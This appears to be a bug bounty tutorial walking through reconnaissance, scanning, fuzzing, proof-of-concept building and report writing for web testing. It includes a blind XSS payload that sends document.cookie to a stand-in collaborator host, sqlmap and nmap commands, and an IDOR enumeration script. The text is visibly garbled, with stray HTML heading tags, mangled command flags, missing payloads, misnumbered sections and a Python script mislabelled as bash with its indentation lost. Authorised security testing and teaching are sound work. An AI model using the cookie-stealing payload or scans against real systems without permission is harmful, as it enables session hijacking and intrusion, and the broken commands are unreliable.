From Duplicate to Dollar: How One Hunter’s Persistence Landed a YesWeHack Bounty + Video

Introduction:

The world of bug bounty hunting is a marathon of meticulous research, often marked by the frustration of duplicate submissions. A recent success story from a hunter on YesWeHack underscores a critical lesson: persistence and methodological rigor are the true currencies in cybersecurity’s crowdsourced defense. This article deconstructs the essential technical pipeline, from reconnaissance to proof-of-concept, that transforms a potential duplicate into a paid finding.

Learning Objectives:

• Understand the end-to-end technical workflow of a modern bug bounty hunter.
• Learn practical commands and tools for reconnaissance, vulnerability identification, and validation.
• Develop a strategy for effective report writing and navigating duplicate submissions.

You Should Know:

1. The Foundation: Reconnaissance & Asset Enumeration

Before a single vulnerability can be found, you must map the target’s digital footprint. This passive and active reconnaissance phase is where most hunts are won or lost.

Step‑by‑step guide explaining what this does and how to use it.
1. Passive Enumeration: Use tools to gather information without touching the target’s servers.
`amass enum -passive -d target.com` – Discovers subdomains from public databases.
`subfinder -d target.com -silent` – Uses multiple search engines to find subdomains.
`theHarvester -d target.com -b all` – Gathers emails, subdomains, and hosts from public sources.
2. Active Enumeration: Probe the identified assets to discover live hosts and services.
`nmap -sV -sC -p- -T4 -oA full_scan target_subdomain.com` – A comprehensive Nmap scan to identify open ports and service versions.
`gobuster dir -u https://target.com -w /usr/share/wordlists/dirb/common.txt -t 50` – Bruteforces directories and files on a web server.
3. Technology Stack Identification: Use tools like `Wappalyzer` (browser extension) or `whatweb target.com` to identify frameworks (e.g., React, Django), servers (Apache, Nginx), and other components, which dictate your attack vectors.

2. Vulnerability Discovery: From Fuzzing to Exploitation

With a mapped attack surface, systematic testing begins. This involves automated scanning and, more importantly, manual analysis for logic flaws.

Step‑by‑step guide explaining what this does and how to use it.
1. Automated Scanning (Use with Caution): Run controlled scans to identify low-hanging fruit.
`nikto -h https://target.com` – A web server scanner which checks for dangerous files and outdated versions.
`sqlmap -u “https://target.com/page?id=1” –batch –level=1- Automates detection and exploitation of SQL injection flaws. (Always have explicit permission).
2. Manual Testing & Parameter Fuzzing: The core of finding unique bugs.
Intercept a request with Burp Suite or OWASP ZAP.
<h2 style="color: yellow;"> Identify all parameters (e.g.,user_id,amount,redirect_url).</h2>
Use tools like `ffuf` to fuzz these parameters:ffuf -w /path/to/wordlist.txt -u https://target.com/endpoint?param=FUZZ -fs 4242.
Test for common vulnerabilities: IDOR (changeuser_id), XSS (insert), SSRF (change a URL parameter tohttp://internal.ip`).

3. Proof-of-Concept (PoC) Development & Isolation

Finding a flaw is half the battle. You must prove its impact with a reliable, non-destructive PoC.

Step‑by‑step guide explaining what this does and how to use it.
1. Isolate the Bug: Determine the exact, minimal request that triggers the vulnerability. Remove any unnecessary headers or parameters.
2. Demonstrate Impact: For an XSS, create a PoC that fires a `fetch` request to a controlled server. For an IDOR, show data leakage between two test accounts you control.

// Example Blind XSS PoC Payload
<script>fetch('https://your-collaborator.net/?xss='+document.cookie)</script>

3. Document Everything: Take clear screenshots, copy the raw HTTP request/response, and note browser/OS versions. A video can be invaluable for complex logic bugs.

1. The Art of the Report: From Technical Detail to Business Impact
   A well-written report is what turns a PoC into a bounty. It must be clear, concise, and compelling.

Step‑by‑step guide explaining what this does and how to use it.
1. Structure: Use the platform’s template. Key sections: Summary, Vulnerability Details, Steps to Reproduce, Proof of Concept, Impact, Remediation.
2. Clarity: Write steps to reproduce as a numbered list. Assume the triager has no prior context.
Bad: “I found an XSS in the profile page.”
Good: “1. Log in to account A. 2. Navigate to ‘Edit Profile’. 3. In the ‘Bio’ field, insert the payload

</code>. 4. Observe the alert box executing."
3. Impact: Go beyond "it's an XSS." Explain what an attacker could do: "This stored XSS allows a low-privileged user to hijack administrator sessions, leading to full application compromise."

<h2 style="color: yellow;">5. Navigating the Duplicate Desert</h2>

Persistence is key. A duplicate does not mean your finding was invalid, only that it was not first.

Step‑by‑step guide explaining what this does and how to use it.
1. Analyze the Duplicate: If possible, understand what the earlier report contained. Did they miss a broader impact? A different attack vector?
2. Dive Deeper: Use the knowledge of a vulnerability's type to look for the same flaw in other, less-obvious endpoints or parameters. An IDOR on `/api/v1/user/12` might also exist on `/api/v2/admin/user/12` or in a different function like message deletion.
3. Automate Intelligently: Write simple Python scripts using the `requests` library to test hundreds of endpoints for a specific flaw pattern you've discovered.
[bash]
import requests
for id in range(100,200):
resp = requests.get(f'https://target.com/api/user/{id}', cookies=your_cookies)
if 'admin' in resp.text:
print(f'Potential IDOR on user ID: {id}')